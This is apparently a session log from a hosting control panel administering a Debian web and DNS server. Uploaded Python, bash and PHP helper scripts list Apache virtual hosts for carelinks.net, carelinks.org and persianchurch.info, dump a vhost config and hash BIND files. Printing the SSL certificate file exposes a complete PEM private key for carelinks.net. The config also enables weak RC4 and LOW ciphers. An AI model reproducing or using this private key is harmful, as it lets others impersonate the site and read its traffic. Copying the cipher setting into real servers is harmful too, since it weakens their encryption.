MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:31:15: Establishing a connection
2026-01-03 19:31:16: 

PUT: /tmp/pkp187617

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:31:17: 

chmod 755 /tmp/pkp187617; /tmp/pkp187617; rm /tmp/pkp187617

2026-01-03 19:31:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
                 alias www.carelinks.net
         port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
                 alias www.carelinks.org
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443                  is a NameVirtualHost
         default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
         port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
                 alias www.carelinks.net
         port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-03 19:31:17: 

PUT: /tmp/pkp492727

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:31:18: 

chmod 755 /tmp/pkp492727; /tmp/pkp492727; rm /tmp/pkp492727

2026-01-03 19:31:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_net.conf	1240

<VirtualHost *:80>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-03 19:31:18: 

PUT: /tmp/pkp827251

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:31:19: 

chmod 755 /tmp/pkp827251; /tmp/pkp827251; rm /tmp/pkp827251

2026-01-03 19:31:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt	5385
99:6a:a8:06:1a:74:8e:5e:d2:ce:54:39:9a:bc:fb:1a

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBn64SMHD4yMv+bqMgE6mOok3MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAyMDUwMTQ4WhcNMjYwNDAyMDUwMTQ3WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3MubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
1CiHzPrpOZ68ZYzs45FjtCeGY9PMAMw6UkGzlvWcFh1HgvBikTi0izlLP2bIskak
ZWrQime21Ujp0GaR7yGOm3pqHbZCaOMciQ00Zk70i3VTFrvzbpUg0/hfJ6ZDYpd2
FDSu0Z99kbCWK3ndyIrxQP64EwojcmKHqmbnQj7aUvV3yXVjMtntuGtGWAYNEiGe
ITtVBbxcwshoigKKlSN1Xu7nOe56wTKmaa+R+pzlDcf5ZitbjyfyQOVZp5OQM1fW
i44gYWTkLgJsD1unVkZGpkRvs4l7c1HosgNZh+2l/4wLj+vdoCkW5+N/ux6/1LnU
mJ9HF5rZQA4cUDaHWJhdpQIDAQABo4ICODCCAjQwDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBTgJAGzg3ZWX6FNZLoiHjEMjS/GNTAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5uZXSCEXd3dy5j
YXJlbGlua3MubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTYuY3JsMIIBDAYKKwYBBAHWeQIE
AgSB/QSB+gD4AH4Apcl4kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcAAAGb
fUrkjgAIAAAFAC2WTV0EAwBHMEUCIDq5GCHvr0Qsy+XIp/RHNSRuqS15njaGqe6J
pdjK+cljAiEAua5s4Tn7h5bkn9rR9pRvMLyiY+CC4xh7Mrji1pl3oOUAdgAWgy2r
8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZt9SuqqAAAEAwBHMEUCIQDA
89jFVkeitOX4ZGE63eWQ5QVZZ3lJhwWmXJ+wSqYwMQIgDe3pvSWHjmgEVj8mV27g
U0TaxPqpKIZbNpJsdZJp7MAwDQYJKoZIhvcNAQELBQADggEBABhG4aYRNN1gHUh+
G+s6Chztqow/vpnwogfcMi8v24VipZGdtQl33G6YqdmGohM1SQWYEp4J86eqX6C0
PQ8wTj3HfMGqH1tqIr6FN0ZAmnHKutxQqgG9LFhIQMFNEsVVCqfaPnA0PPmgPPbZ
es2TYzC/yaw5EsP1llm8w0dDIsisHld5ss9LWaW9oQ9MSrAhT9gaTw3wysnqoogY
apI40mpY/HeoacGRS95lsxmL0Tu1Di4JGyHLJBrFRSGDRASX7RqDwEM+t5YPXn7n
uT9j97bNFlRnlaBa/7Vz+tlhzXMHj6g21jFjzJk/nhZeWDy1uSjFr0zzmj9hLkiG
NGuSc1g=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDUKIfM+uk5nrxl
jOzjkWO0J4Zj08wAzDpSQbOW9ZwWHUeC8GKROLSLOUs/ZsiyRqRlatCKZ7bVSOnQ
ZpHvIY6bemodtkJo4xyJDTRmTvSLdVMWu/NulSDT+F8npkNil3YUNK7Rn32RsJYr
ed3IivFA/rgTCiNyYoeqZudCPtpS9XfJdWMy2e24a0ZYBg0SIZ4hO1UFvFzCyGiK
AoqVI3Ve7uc57nrBMqZpr5H6nOUNx/lmK1uPJ/JA5Vmnk5AzV9aLjiBhZOQuAmwP
W6dWRkamRG+ziXtzUeiyA1mH7aX/jAuP692gKRbn43+7Hr/UudSYn0cXmtlADhxQ
NodYmF2lAgMBAAECggEABRHK3O0J8aSHX+3UI0PwG/ft0CjZcRNwOVL0laDcz/J3
KPvRfyLZvZHq6GLuXMQvXXUF8qizx7jsTVyGFC67F5//NSKLx7HVlrjIDcHJOiPd
jmeDU5sgo7AFpg7lAVAZNDZmDwA+oeKUVAmfcRFQ3nq3r0zIuAz+rOW0lPKniN/l
jSnRYPnZAznIa6FqZJHFp2dp2CZ+ItNiw0e+mGfgdUJNisR2fub9DG+AzPPt/lAX
ox53KkWEnatSNUut/mYtZLMp2WMQUWQj39D5Y17jKe+5+thngacnwDWkrl1/SCJm
KMnuzV0KFAm4yaG5sdswOXT8CX3AzIY/WY9Tiear6QKBgQDy9Zi+GojhF+t+NgFU
nfNec3zf5oXVB6GgVh+AClK9ZVIiIYFw7EBpuZVc4L2eDsxyTXiuJUXzigqtsMQ5
ZTqIV/hDfiShweHPP/xuVnnG7uIvSIqrANA9OC7FbI+Li+fnXWls5VIBnN9dChZw
nrCdMqw5PzNYNr0p3BpVOIAa+wKBgQDfi7WmReOGE3RlfZcwcjEnnoenN1oe5GzQ
6+AediPy94a7xBKYKGb3JGfRomq6siLFBLzELfCQAwsUfIzCB/TMQoix97MQ+poH
uqK0M70Lg+hQWEvql/9QsDPm0sGNmPcjWWa3dzAarM5hkjcsS8wQYs8sLHbSulnL
lApcbYwH3wKBgQDBa4BUJ6+881wJOFlK0gxDr1FEtrLo65Biou2k85L3MMh4X5A7
I/oLsTEVpd2PDVz5ym8+xHGx9r2VlVpCDzLQBKiiorPrCv0ID3qZJMMB+n+bAPdU
N+uQMUAa79g/UfwnFxitFst4eTjhSvyeX9de7k5prMTlf36M6qsUGUzzLQKBgQCg
mJP1Ufw01EEosGMvcLoThnZaEQ/zZZMvPGWUPLdy05S9zAy3tz7RihvzpMUcPuFv
vQmHvqE2NJl/LENLGcAqBhqCEDtalU6XAuPkpc7IOQlqvyQ68tt/Mjb3Oq3GdgAG
KzH51+x9HWxe+FYewo1lsDa5u2/Zz/q2oDIZWLHi7QKBgQCfeCjvjTNVbSzPsjOp
fJ6X8di/y2C+St33PYk+1zP6nk6lEUWs5uG8uYhoOUb7CgImGaIg27br1xN0Rf1r
qeHn3zG4rPQJ8Yo97wX6VEM0BNZWgE+rGeJ29jjCXwlDSd/np18rZ3a5lQzvEdw7
Fh5O3SomVbmSlws2UspJ1FQgxQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:31:19: Establishing a connection
2026-01-03 19:31:20: 

PUT: /tmp/pkp763681

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:31:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp763681; rm /tmp/pkp763681'

2026-01-03 19:31:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
